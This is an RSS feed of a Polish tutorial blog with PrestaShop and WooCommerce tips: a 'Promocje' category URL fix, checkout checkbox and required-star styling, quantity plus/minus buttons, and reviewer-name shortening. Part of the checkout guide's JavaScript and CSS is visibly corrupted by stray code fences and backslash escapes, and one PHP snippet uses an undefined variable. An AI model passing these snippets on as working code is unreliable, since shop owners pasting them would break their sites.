<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sklep internetowy | Kobieta Koduje</title>
	<atom:link href="https://sklep.kobietakoduje.pl/category/kobietakoduje/sklep-internetowy/feed/" rel="self" type="application/rss+xml" />
	<link>https://sklep.kobietakoduje.pl</link>
	<description>Strony www i sklepy internetowe &#124; Marketing internetowy &#124; Reklama tradycyjna</description>
	<lastBuildDate>Thu, 11 Sep 2025 15:05:20 +0000</lastBuildDate>
	<language>pl-PL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.2</generator>

<image>
	<url>https://sklep.kobietakoduje.pl/wp-content/uploads/logo-kobietakoduje.svg</url>
	<title>Sklep internetowy | Kobieta Koduje</title>
	<link>https://sklep.kobietakoduje.pl</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Dlaczego kategoria „Promocje” w PrestaShop nie działa? [Rozwiązanie]</title>
		<link>https://sklep.kobietakoduje.pl/dlaczego-kategoria-promocje-w-prestashop-nie-dziala-rozwiazanie/</link>
					<comments>https://sklep.kobietakoduje.pl/dlaczego-kategoria-promocje-w-prestashop-nie-dziala-rozwiazanie/#respond</comments>
		
		<dc:creator><![CDATA[kobieta koduje]]></dc:creator>
		<pubDate>Thu, 11 Sep 2025 15:01:23 +0000</pubDate>
				<category><![CDATA[Prestashop]]></category>
		<category><![CDATA[Sklep internetowy]]></category>
		<guid isPermaLink="false">https://kobietakoduje.pl/?p=7852</guid>

					<description><![CDATA[<p>Wielu właścicieli sklepów internetowych na PrestaShop napotyka na frustrujący problem – po dodaniu kategorii „Promocje” i przypisaniu do niej produktów, na stronie wciąż pojawia się komunikat „Brak dostępnych produktów”. Na pierwszy rzut oka wygląda to na błąd w konfiguracji lub brak przypisania produktu. Ale prawdziwa przyczyna leży gdzie indziej… Gdzie tkwi problem? Okazuje się, że [&#8230;]</p>
<p></p>]]></description>
										<content:encoded><![CDATA[<div data-elementor-type="wp-post" data-elementor-id="7852" class="elementor elementor-7852" data-elementor-post-type="post">
				<div class="elementor-element elementor-element-6e71fcf e-flex e-con-boxed e-con e-parent" data-id="6e71fcf" data-element_type="container" data-e-type="container">
					<div class="e-con-inner">
				<div class="elementor-element elementor-element-6bea7cf elementor-widget elementor-widget-html" data-id="6bea7cf" data-element_type="widget" data-e-type="widget" data-widget_type="html.default">
				<div class="elementor-widget-container">
					<div class="prestashop-promocje-artykul">
  <p>
    Wielu właścicieli sklepów internetowych na PrestaShop napotyka na frustrujący problem – po dodaniu kategorii 
    <strong>„Promocje”</strong> i przypisaniu do niej produktów, na stronie wciąż pojawia się komunikat 
    <em>„Brak dostępnych produktów”</em>.
  </p>

  <p>
    Na pierwszy rzut oka wygląda to na błąd w konfiguracji lub brak przypisania produktu. 
    Ale prawdziwa przyczyna leży gdzie indziej…
  </p>

  <h2>Gdzie tkwi problem?</h2>
  <p>
    Okazuje się, że PrestaShop traktuje adres URL zawierający słowo <strong>„promocje”</strong> w sposób szczególny.
    W wielu szablonach i konfiguracjach system automatycznie podmienia taką kategorię na swoją natywną stronę „promocji”, 
    która działa tylko w oparciu o produkty z rabatem (np. obniżona cena, „specyficzne ceny”).
  </p>

  <p>W efekcie:</p>
  <ul>
    <li>produkty dodane ręcznie do kategorii <strong>Promocje</strong> się nie wyświetlają,</li>
    <li>strona kategorii pokazuje komunikat „brak dostępnych produktów”,</li>
    <li>właściciel sklepu traci czas na sprawdzanie przypisań, widoczności i stanów magazynowych.</li>
  </ul>

  <h2>Jak rozwiązać problem?</h2>
  <p>
    Rozwiązanie jest banalnie proste – wystarczy <strong>zmienić adres URL kategorii</strong> na inne słowo, np.:
  </p>
  <ul>
    <li>„przecenione”,</li>
    <li>„wyprzedaz”,</li>
    <li>„okazje”.</li>
  </ul>

  <p>
    <strong>Ważne:</strong> nazwa kategorii i tytuł strony mogą nadal brzmieć „Promocje” – kluczowe jest tylko to, 
    aby w przyjaznym adresie URL nie występowało słowo „promocje”.
  </p>

  <p>Po tej zmianie produkty natychmiast zaczynają się wyświetlać poprawnie.</p>

  <h2>Podsumowanie</h2>
  <p>
    To drobny, ale bardzo mylący szczegół w PrestaShop – adres URL kategorii „promocje” koliduje z natywną stroną rabatów 
    i przez to produkty się nie pojawiają.
  </p>

  <p>
    <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f449.png" alt="👉" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Jeśli masz sklep na PrestaShop i Twoja kategoria „Promocje” jest pusta mimo przypisanych produktów – 
    sprawdź adres URL. Zmień go na „przecenione” albo inne słowo i problem zniknie.
  </p>
</div>
				</div>
				</div>
					</div>
				</div>
				</div><p></p>]]></content:encoded>
					
					<wfw:commentRss>https://sklep.kobietakoduje.pl/dlaczego-kategoria-promocje-w-prestashop-nie-dziala-rozwiazanie/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>PrestaShop 8.2 wyrównanie checkboxów, gwiazdki pól wymaganych i warianty w podsumowaniu (krok płatności)</title>
		<link>https://sklep.kobietakoduje.pl/prestashop-8-2-wyrownanie-checkboxow-gwiazdki-pol-wymaganych-i-warianty-w-podsumowaniu-krok-platnosci/</link>
					<comments>https://sklep.kobietakoduje.pl/prestashop-8-2-wyrownanie-checkboxow-gwiazdki-pol-wymaganych-i-warianty-w-podsumowaniu-krok-platnosci/#respond</comments>
		
		<dc:creator><![CDATA[kobieta koduje]]></dc:creator>
		<pubDate>Thu, 14 Aug 2025 09:58:33 +0000</pubDate>
				<category><![CDATA[Prestashop]]></category>
		<category><![CDATA[Sklep internetowy]]></category>
		<guid isPermaLink="false">https://kobietakoduje.pl/?p=7834</guid>

					<description><![CDATA[<p>Ten przewodnik krok-po-kroku pokaże Ci, jak bez programowania poprawić checkout w PrestaShop 8.2 (Classic): wyrównać checkboxy „zgód” do lewej, dodać czerwoną gwiazdkę przy polach wymaganych oraz wyświetlić wybraną kombinację/atrybuty produktu w kroku płatności. WAŻNE: Zanim cokolwiek zmienisz, zrób kopię zapasową edytowanych plików motywu. Pobierz je przez FTP (np. FileZilla) i odłóż na dysk. To minuta [&#8230;]</p>
<p></p>]]></description>
										<content:encoded><![CDATA[<div data-elementor-type="wp-post" data-elementor-id="7834" class="elementor elementor-7834" data-elementor-post-type="post">
				<div class="elementor-element elementor-element-7fb0730 e-flex e-con-boxed e-con e-parent" data-id="7fb0730" data-element_type="container" data-e-type="container">
					<div class="e-con-inner">
				<div class="elementor-element elementor-element-b2c1f3b elementor-widget elementor-widget-html" data-id="b2c1f3b" data-element_type="widget" data-e-type="widget" data-widget_type="html.default">
				<div class="elementor-widget-container">
					

<p>Ten przewodnik krok-po-kroku pokaże Ci, jak bez programowania poprawić checkout w PrestaShop 8.2 (Classic): wyrównać checkboxy „zgód” do lewej, dodać czerwoną gwiazdkę przy polach wymaganych oraz wyświetlić wybraną kombinację/atrybuty produktu w kroku płatności.</p>

<p><strong>WAŻNE:</strong> Zanim cokolwiek zmienisz, zrób <strong>kopię zapasową</strong> edytowanych plików motywu. Pobierz je przez FTP (np. FileZilla) i odłóż na dysk. To minuta pracy, a ratuje w razie pomyłki.</p>

<hr>

<h2 id="spis-tresci">Spis treści</h2>
<ol>
  <li><a href="#podpiecie-js">Podpięcie własnego JavaScriptu w PrestaShop Classic</a></li>
  <li><a href="#checkboxy-lewo">Wyrównanie checkboxów „zgód” do lewej i redukcja odstępów</a></li>
  <li><a href="#gwiazdka-formularz">„* Pole wymagane” pod formularzem klienta</a></li>
  <li><a href="#gwiazdka-platnosc">Gwiazdka przy akceptacji regulaminu w kroku płatności</a></li>
  <li><a href="#warianty">Wariant/atrybuty produktu w tabeli podsumowania (krok 4)</a></li>
  <li><a href="#cache">Czyszczenie cache, testy i typowe pułapki</a></li>
</ol>

<hr>

<h2 id="podpiecie-js">1) Podpięcie własnego JavaScriptu w PrestaShop Classic</h2>

<h3>Krok 1: utwórz plik JS</h3>
<p>Na serwerze (FTP) dodaj plik:</p>
<pre><code>themes/classic/assets/js/custom.js</code></pre>
<p>W tym pliku umieszczaj <strong>czysty</strong> kod JS (bez tagów &lt;script&gt;…&lt;/script&gt;).</p>

<h3>Krok 2: zarejestruj plik w motywie</h3>
<p>Otwórz plik:</p>
<pre><code>themes/classic/config/theme.yml</code></pre>
<p>Dodaj sekcję, która ładuje Twój skrypt globalnie:</p>
<pre><code>assets:
  js:
    all:
      - id: custom-js
        path: assets/js/custom.js</code></pre>

<hr>

<h2 id="checkboxy-lewo">2) Wyrównanie checkboxów „zgód” do lewej (pełna szerokość) + redukcja odstępów</h2>

<p>Poniższy kod ustawia wiersze zgód na pełną szerokość, ukrywa puste etykiety/komentarze i dodaje klasę pomocniczą do ciaśniejszych odstępów.</p>

<h3>Dodaj na koniec pliku <code>custom.js</code>:</h3>
<pre><code class="language-js">document.addEventListener('DOMContentLoaded', function () {
  // 2.1) Rozciągnij wiersze z checkboxami zgód na pełną szerokość
  document.querySelectorAll('#customer-form .form-group.row').forEach(function(group){
    const cb = group.querySelector('.custom-checkbox input[type="checkbox"]');
    if (!cb) return;

```
const labelCol   = group.querySelector('.form-control-label');
const inputCol   = group.querySelector('.js-input-column');
const commentCol = group.querySelector('.form-control-comment');

if (labelCol)   { labelCol.className   = 'col-md-12 form-control-label d-none'; }
if (inputCol)   { inputCol.className   = 'col-md-12 js-input-column'; }
if (commentCol &amp;&amp; !commentCol.textContent.trim()) {
  commentCol.classList.add('is-empty-comment');
}
```

});

// 2.2) Dodaj gwiazdki do wymaganych zgód (po ikonie, przed tekstem)
document.querySelectorAll('#customer-form .custom-checkbox input\[required]').forEach(function (input) {
const label = input.closest('label');
const iconSpan = input.nextElementSibling; // \<span> z kwadratem/ptaszkiem
if (!label || !iconSpan) return;

```
label.querySelectorAll('.required-star').forEach(el =&gt; el.remove());

const star = document.createElement('span');
star.className = 'required-star';
star.textContent = '*';

// wstaw PO ikonie – będzie przed tekstem zgody
label.insertBefore(star, iconSpan.nextSibling);
```

});

// 2.3) Oznacz wiersze zgód (przyda się w CSS do marginesów)
document.querySelectorAll('#customer-form .form-group.row').forEach(function (group) {
if (group.querySelector('.custom-checkbox input\[type="checkbox"]')) {
group.classList.add('consent-row');
}
});
});</code></pre>

<h3>Dodaj do arkusza CSS (np. <code>themes/classic/assets/css/custom.css</code> albo „Dodatkowy CSS” w BO):</h3>
<pre><code class="language-css">/* schowaj puste komentarze w wierszach zgód */
#customer-form .form-control-comment.is-empty-comment { display: none; }

/\* wygląd czerwonej gwiazdki \*/
.required-star{
display\:inline-block;
margin-left:6px;
margin-right:6px;
color:#dc3545;
font-weight:700;
line-height:1;
vertical-align\:middle;
}

/\* (opcjonalnie) ciaśniej między zgodami \*/
\#customer-form .form-group.row\.consent-row { margin-bottom: .5rem; }</code></pre>

<hr>

<h2 id="gwiazdka-formularz">3) „* Pole wymagane” pod formularzem klienta</h2>

<p>Najczyściej umieścić notkę w stopce formularza, obok przycisku. Edytujemy plik Smarty.</p>

<p><strong>Plik:</strong></p>
<pre><code>themes/classic/templates/customer/_partials/customer-form.tpl</code></pre>

<p><strong>W stopce</strong> (wewnątrz bloku <code>{block name='customer_form_footer'}</code>) wstaw akapit <em>przed</em> blokiem z przyciskiem:</p>
<pre><code class="language-smarty">{block name='customer_form_footer'}
  &lt;footer class="form-footer clearfix"&gt;
    &lt;input type="hidden" name="submitCreate" value="1"&gt;

```
{* notka o polach wymaganych *}
&lt;p class="form-required-note text-muted float-xs-left m-0"&gt;* Pole wymagane&lt;/p&gt;

{block "form_buttons"}
  &lt;button class="btn btn-primary form-control-submit float-xs-right" data-link-action="save-customer" type="submit"&gt;
    {l s='Save' d='Shop.Theme.Actions'}
  &lt;/button&gt;
{/block}
```

\</footer>
{/block}</code></pre>

<p>Alternatywnie (bez edycji TPL) możesz dodać notkę <em>tylko na checkoutcie</em> samym CSS-em:</p>
<pre><code class="language-css">body#checkout .js-customer-form::after {
  content: "* Pole wymagane";
  display: block;
  margin-top: .75rem;
  font-size: .875rem;
  color: #6c757d;
}</code></pre>

<hr>

<h2 id="gwiazdka-platnosc">4) Gwiazdka przy akceptacji regulaminu w kroku płatności</h2>

<p>Krok płatności (sekcja <code>#checkout-payment-step</code>) potrafi się przeładowywać dynamicznie. Dodamy gwiazdkę JS-em i odświeżymy ją po zmianach checkoutu.</p>

<h3>Dopisz na koniec <code>custom.js</code>:</h3>
<pre><code class="language-js">// Gwiazdka przy akceptacji regulaminu w kroku płatności
(function () {
  function addPaymentStar() {
    const step = document.querySelector('#checkout-payment-step');
    if (!step) return;

```
step.querySelectorAll('#conditions-to-approve label, .conditions-to-approve label').forEach(function (label) {
  if (label.querySelector('.required-star')) return;

  const input = label.querySelector('input[type="checkbox"]');
  const iconSpan = input ? input.nextElementSibling : null;

  const star = document.createElement('span');
  star.className = 'required-star';
  star.textContent = '*';

  if (iconSpan &amp;&amp; iconSpan.tagName === 'SPAN') {
    label.insertBefore(star, iconSpan.nextSibling);
  } else {
    label.prepend(star);
  }
});
```

}

document.addEventListener('DOMContentLoaded', addPaymentStar);
// Presta potrafi re-renderować krok płatności (AJAX) – dodaj ponownie
document.addEventListener('updatedCheckout', addPaymentStar);
})();</code></pre>

<p>Styl klasy <code>.required-star</code> masz już dodany w sekcji CSS wyżej.</p>

<hr>

<h2 id="warianty">5) Wariant/atrybuty produktu w tabeli podsumowania (krok 4)</h2>

<p>Chodzi o sekcję <code>#checkout-payment-step</code> i blok <code>.order-confirmation-table</code>. Dodamy wyświetlanie atrybutów (np. rozmiar, kolor) pod nazwą produktu.</p>

<p><strong>Plik:</strong></p>
<pre><code>themes/classic/templates/checkout/_partials/order-confirmation-table.tpl</code></pre>

<p><strong>W pętli produktów</strong>, tuż pod nazwą (<code>{$product.name}</code>), wstaw ten blok:</p>
<pre><code class="language-smarty">{assign var=attrs value=$product.attributes_small|default:$product.attributes}
{if $attrs}
  &lt;div class="product-variants text-muted small"&gt;{$attrs nofilter}&lt;/div&gt;
{/if}</code></pre>

<p>(Używamy <code>nofilter</code>, bo atrybuty często zawierają wstawione przełamania linii &lt;br/&gt;.)</p>

<p><strong>Opcjonalnie</strong>, drobny styl, by wariant był delikatniejszy i bliżej nazwy:</p>
<pre><code class="language-css">.order-confirmation-table .product-variants{
  margin-top:.25rem;
  font-size:.875rem;
  color:#6c757d;
}</code></pre>

<hr>

<h2 id="cache">6) Czyszczenie cache, testy i typowe pułapki</h2>

<ol>
  <li>W panelu: <strong>Zaawansowane → Wydajność → Wyczyść pamięć podręczną</strong>.</li>
  <li>Na czas testów włącz „<strong>Kompiluj szablony</strong>”.</li>
  <li>Odśwież stronę „na twardo” (Ctrl/Cmd + F5).</li>
  <li>Sprawdź w Konsoli przeglądarki, czy nie ma błędów JS i czy <code>custom.js</code> się ładuje.</li>
</ol>

<h3>Najczęstsze pułapki</h3>
<ul>
  <li><strong>custom.js się nie ładuje</strong> — sprawdź wcięcia w <code>theme.yml</code> i upewnij się, że w pliku JS nie ma tagów &lt;script&gt;.</li>
  <li><strong>Gwiazdka „wpada” w kwadrat checkboxa</strong> — wstawiaj ją <em>po</em> elemencie ikony: <code>label.insertBefore(star, iconSpan.nextSibling)</code>.</li>
  <li><strong>Za duże odstępy</strong> — dodaj klasę <code>is-empty-comment</code> w JS i ukryj w CSS puste <code>.form-control-comment</code>.</li>
  <li><strong>Nie widać zmian w TPL</strong> — włącz kompilację szablonów i wyczyść cache.</li>
</ul>

<hr>

<h2>Podsumowanie</h2>
<p>Dzięki kilku bezpiecznym poprawkom w JS/CSS oraz jednej modyfikacji szablonu, uporządkujesz layout zgód, wyróżnisz pola wymagane gwiazdką i pokażesz kombinacje produktów w kroku płatności. Zawsze wykonuj kopię zapasową plików i pracuj przez FTP (np. FileZilla), aby mieć pełną kontrolę nad zmianami.</p>

				</div>
				</div>
					</div>
				</div>
				</div><p></p>]]></content:encoded>
					
					<wfw:commentRss>https://sklep.kobietakoduje.pl/prestashop-8-2-wyrownanie-checkboxow-gwiazdki-pol-wymaganych-i-warianty-w-podsumowaniu-krok-platnosci/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Przekształcenie znaków w input number na plus i minus</title>
		<link>https://sklep.kobietakoduje.pl/przeksztalcenie-znakow-w-input-number-na-plus-i-minus/</link>
					<comments>https://sklep.kobietakoduje.pl/przeksztalcenie-znakow-w-input-number-na-plus-i-minus/#respond</comments>
		
		<dc:creator><![CDATA[kobieta koduje]]></dc:creator>
		<pubDate>Tue, 05 Nov 2024 11:06:10 +0000</pubDate>
				<category><![CDATA[Sklep internetowy]]></category>
		<category><![CDATA[Woocommerce]]></category>
		<guid isPermaLink="false">https://kobietakoduje.pl/?p=7638</guid>

					<description><![CDATA[<p>Jeśli chcesz zmienić wygląd i sposób zmiany ilości w inpucie z trójkącików znajdujących się zaraz za cyfrą na plus i minus znajdujące się obok niej to w pliku functions.php Twojego szablonu, należy dodać poniższą formułę: /* Show Buttons */ add_action( 'woocommerce_before_add_to_cart_quantity', 'display_quantity_plus' ); function display_quantity_plus() { echo '&#60;button type=&#34;button&#34; class=&#34;plus&#34; &#62;+&#60;/button&#62;'; } add_action( 'woocommerce_after_add_to_cart_quantity', 'display_quantity_minus' [&#8230;]</p>
<p></p>]]></description>
										<content:encoded><![CDATA[<div data-elementor-type="wp-post" data-elementor-id="7638" class="elementor elementor-7638" data-elementor-post-type="post">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-bb63666 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="bb63666" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-c147ed9" data-id="c147ed9" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-ae84435 elementor-widget elementor-widget-text-editor" data-id="ae84435" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Jeśli chcesz zmienić wygląd i sposób zmiany ilości w inpucie z trójkącików znajdujących się zaraz za cyfrą na plus i minus znajdujące się obok niej to w pliku functions.php Twojego szablonu, należy dodać poniższą formułę:								</div>
				</div>
				<div class="elementor-element elementor-element-a68238c elementor-widget elementor-widget-code-block-for-elementor" data-id="a68238c" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='line-numbers theme-okaidia' data-show-toolbar='yes'><code class='language-php'>/* Show Buttons */
add_action( &#039;woocommerce_before_add_to_cart_quantity&#039;, &#039;display_quantity_plus&#039; );

function display_quantity_plus() {
     echo &#039;&lt;button type=&quot;button&quot; class=&quot;plus&quot; &gt;+&lt;/button&gt;&#039;;
}

add_action( &#039;woocommerce_after_add_to_cart_quantity&#039;, &#039;display_quantity_minus&#039; );

function display_quantity_minus() {
     echo &#039;&lt;button type=&quot;button&quot; class=&quot;minus&quot; &gt;-&lt;/button&gt;&#039;;
}
//Note: to place minus @ left and plus @ right replace above add_actions with:
//add_action( &#039;woocommerce_before_add_to_cart_quantity&#039;, &#039;display_quantity_minus&#039; );
//add_action( &#039;woocommerce_after_add_to_cart_quantity&#039;, &#039;display_quantity_plus&#039; );

add_action( &#039;wp_footer&#039;, &#039;add_cart_quantity_plus_minus&#039; );

function add_cart_quantity_plus_minus() {
 // Only run this on the single product page
 if ( ! is_product() ) return;
 ?&gt;
  &lt;script type=&quot;text/javascript&quot;&gt;

  jQuery(document).ready(function($){   

     $(&#039;form.cart&#039;).on( &#039;click&#039;, &#039;button.plus, button.minus&#039;, function() {

        // Get current quantity values
        var qty = $( this ).closest( &#039;form.cart&#039; ).find( &#039;.qty&#039; );
        var val   = parseFloat(qty.val());
        var max = parseFloat(qty.attr( &#039;max&#039; ));
        var min = parseFloat(qty.attr( &#039;min&#039; ));
        var step = parseFloat(qty.attr( &#039;step&#039; ));

        // Change the value if plus or minus
        if ( $( this ).is( &#039;.plus&#039; ) ) {
           if ( max &amp;&amp; ( max &lt;= val ) ) {
              qty.val( max );
           } else {
              qty.val( val + step );
           }
        } else {
           if ( min &amp;&amp; ( min &gt;= val ) ) {
              qty.val( min );
           } else if ( val &gt; 1 ) {
              qty.val( val - step );
           }
        }

     });

  });

  &lt;/script&gt;    &lt;?php
}</code></pre>				</div>
				</div>
				<div class="elementor-element elementor-element-4e53b63 elementor-widget elementor-widget-text-editor" data-id="4e53b63" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Nie zapomnij też o edycji wyglądu tych elementów:								</div>
				</div>
				<div class="elementor-element elementor-element-c278d36 elementor-widget elementor-widget-code-block-for-elementor" data-id="c278d36" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='line-numbers theme-okaidia' data-show-toolbar='yes'><code class='language-css'>  .quantity input::-webkit-outer-spin-button,
    .quantity input::-webkit-inner-spin-button {
        display: none;
        margin: 0;
    }
    .quantity input.qty {
        appearance: textfield;
        -webkit-appearance: none;
        -moz-appearance: textfield; 
}
button.plus, button.minus, button:hover.plus, button:hover.minus{
	    background-color: #009CCD;
    font-family: &quot;Raleway&quot;, Sans-serif;
    font-weight: 600;
    color: #fff;
    border: 0px;
	border-radius: 45px;
padding: 5px 15px;
    font-size: 20px;
    margin: 0px;
}

input[type=number],input[type=number]:active,input[type=number]:hover{
padding: 0 15px;
}</code></pre>				</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div><p></p>]]></content:encoded>
					
					<wfw:commentRss>https://sklep.kobietakoduje.pl/przeksztalcenie-znakow-w-input-number-na-plus-i-minus/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Jak usunąć nazwisko klienta w opinii woocommerce</title>
		<link>https://sklep.kobietakoduje.pl/jak-usunac-nazwisko-klienta-w-opinii-woocommerce/</link>
					<comments>https://sklep.kobietakoduje.pl/jak-usunac-nazwisko-klienta-w-opinii-woocommerce/#respond</comments>
		
		<dc:creator><![CDATA[kobieta koduje]]></dc:creator>
		<pubDate>Wed, 14 Jun 2023 14:56:14 +0000</pubDate>
				<category><![CDATA[Woocommerce]]></category>
		<guid isPermaLink="false">https://kobietakoduje.pl/?p=3829</guid>

					<description><![CDATA[<p>Jeśli korzystasz z opini klientów na stronie produktów w woocommerce i chcesz skrócić nazwisko swoich klientów jedynie do inicjału np. Justyna J. to w pliku functions.php Twojego szablonu, należy dodać poniższą formułę: // Zamiana nazwiska klienta na inicjał nazwiska w opieniach klienta add_filter('get_comment_author', 'my_comment_author', 10, 1); function my_comment_author( $author = '' ) { // Pobierasz [&#8230;]</p>
<p></p>]]></description>
										<content:encoded><![CDATA[<div data-elementor-type="wp-post" data-elementor-id="3829" class="elementor elementor-3829" data-elementor-post-type="post">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-bb63666 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="bb63666" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-c147ed9" data-id="c147ed9" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-ae84435 elementor-widget elementor-widget-text-editor" data-id="ae84435" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Jeśli korzystasz z opini klientów na stronie produktów w woocommerce i chcesz skrócić nazwisko swoich klientów jedynie do inicjału np. Justyna J. to w pliku functions.php Twojego szablonu, należy dodać poniższą formułę:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-a68238c elementor-widget elementor-widget-code-block-for-elementor" data-id="a68238c" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='line-numbers theme-okaidia' data-show-toolbar='yes'><code class='language-php'>// Zamiana nazwiska klienta na inicjał nazwiska w opieniach klienta

add_filter(&#039;get_comment_author&#039;, &#039;my_comment_author&#039;, 10, 1);

function my_comment_author( $author = &#039;&#039; ) {
// Pobierasz id komentarza z WP_Query
$comment = get_comment( $comment_ID );
if (!empty($comment-&gt;comment_author) ) {
if($comment-&gt;user_id &gt; 0){
$user=get_userdata($comment-&gt;user_id);
$author=$user-&gt;first_name.&#039; &#039;.substr($user-&gt;last_name,0,1).&#039;.&#039;; // to co zmieniasz
} else {
$author = __(&#039;Anonymous&#039;);
}
} else {
$author = $comment-&gt;comment_author;
}

return $author;
}</code></pre>				</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div><p></p>]]></content:encoded>
					
					<wfw:commentRss>https://sklep.kobietakoduje.pl/jak-usunac-nazwisko-klienta-w-opinii-woocommerce/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Jak wyświetlić pełną nazwę produktu na stronie kategorii w Prestashop 1.7?</title>
		<link>https://sklep.kobietakoduje.pl/jak-wyswietlic-pelna-nazwe-produktu-na-stronie-kategorii-w-prestashop-1-7/</link>
					<comments>https://sklep.kobietakoduje.pl/jak-wyswietlic-pelna-nazwe-produktu-na-stronie-kategorii-w-prestashop-1-7/#respond</comments>
		
		<dc:creator><![CDATA[kobieta koduje]]></dc:creator>
		<pubDate>Mon, 20 Mar 2023 17:29:32 +0000</pubDate>
				<category><![CDATA[Prestashop]]></category>
		<category><![CDATA[SEM/SEO]]></category>
		<category><![CDATA[Sklep internetowy]]></category>
		<guid isPermaLink="false">https://kobietakoduje.pl/?p=3804</guid>

					<description><![CDATA[<p>Prestashop domyślnie agreguje nam 30 znaków jeśli chodzi o nazwy produktów na podstronach kategorii, jeśli Twoje nazwy są rozbudowane i złożone z pewnością mają większą długość. Jeśli chcesz zwiększyć ilość znaków w nazwie produktu na stronie kategorii w oprogramowaniu prestashop, przejdź do pliku: /theme/templates/catalog/_partials/miniatures/product.tpl i odszukaj poniższy kod: &#60;a href="{$product.url}"&#62;{$product.name&#124;truncate:30:'...'}&#60;/a&#62; Zmieniamy w nim liczbę 30 [&#8230;]</p>
<p></p>]]></description>
										<content:encoded><![CDATA[<div data-elementor-type="wp-post" data-elementor-id="3804" class="elementor elementor-3804" data-elementor-post-type="post">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-25f4ee7 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="25f4ee7" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-8a197ac" data-id="8a197ac" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-9045fa7 elementor-widget elementor-widget-text-editor" data-id="9045fa7" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Prestashop domyślnie agreguje nam 30 znaków jeśli chodzi o nazwy produktów na podstronach kategorii, jeśli Twoje nazwy są rozbudowane i złożone z pewnością mają większą długość. Jeśli chcesz zwiększyć ilość znaków w nazwie produktu na stronie kategorii w oprogramowaniu prestashop, przejdź do pliku: /theme/templates/catalog/_partials/miniatures/product.tpl i odszukaj poniższy kod:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-973eb67 elementor-widget elementor-widget-code-block-for-elementor" data-id="973eb67" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='line-numbers theme-okaidia' data-show-toolbar='yes'><code class='language-php'>&lt;a href=&quot;{$product.url}&quot;&gt;{$product.name|truncate:30:&#039;...&#039;}&lt;/a&gt;</code></pre>				</div>
				</div>
				<div class="elementor-element elementor-element-874fbb5 elementor-widget elementor-widget-text-editor" data-id="874fbb5" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Zmieniamy w nim liczbę 30 na dowolną ilość znaków, 90 powinno wystarczyć, ale wprowadź liczbę odpowiednią dla swojego projektu. Ta linia może w tym pliku pojawić się jeszcze kilka razy, zwróć uwagę aby w każdej z nich zmienić liczbę na nową. </p>								</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div><p></p>]]></content:encoded>
					
					<wfw:commentRss>https://sklep.kobietakoduje.pl/jak-wyswietlic-pelna-nazwe-produktu-na-stronie-kategorii-w-prestashop-1-7/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Jak sprawdzić wersję prestashop manualnie</title>
		<link>https://sklep.kobietakoduje.pl/jak-sprawdzic-wersje-prestashop-manualnie/</link>
					<comments>https://sklep.kobietakoduje.pl/jak-sprawdzic-wersje-prestashop-manualnie/#respond</comments>
		
		<dc:creator><![CDATA[kobieta koduje]]></dc:creator>
		<pubDate>Fri, 10 Mar 2023 19:45:47 +0000</pubDate>
				<category><![CDATA[Prestashop]]></category>
		<category><![CDATA[Sklep internetowy]]></category>
		<guid isPermaLink="false">https://kobietakoduje.pl/?p=3793</guid>

